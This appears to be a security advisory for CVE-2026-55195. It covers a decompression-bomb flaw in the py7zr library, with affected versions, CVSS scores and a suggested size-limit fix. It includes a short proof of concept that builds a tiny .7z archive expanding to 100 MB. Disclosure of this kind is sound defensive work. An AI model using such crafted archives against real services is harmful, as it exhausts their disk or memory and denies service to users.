CVE-2026-55195
Published:June 19, 2026
Updated:June 21, 2026
py7zr's "Worker.decompress()" extracts archive entries without tracking total decompressed size. A crafted ".7z" file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). Proof of concept: import py7zr, tempfile, os create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') Root cause: "Worker.decompress()" in "py7zr/worker.py" writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's "zipfile" "max_size" parameter. Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded: MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
Affected Packages
py7zr (CONDA):
Affected version(s) >=0.16.1 <1.1.3Fix Suggestion:
Update to version 1.1.3py7zr (PYTHON):
Affected version(s) >=0.0.3 <1.1.3Fix Suggestion:
Update to version 1.1.3Related Resources (3)
Do you need more information?
Contact UsCVSS v4
Base Score:
6.9
Attack Vector
LOCAL
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
NONE
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
6.2
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
NONE
Availability
HIGH
Weakness Type (CWE)
Improper Handling of Highly Compressed Data (Data Amplification)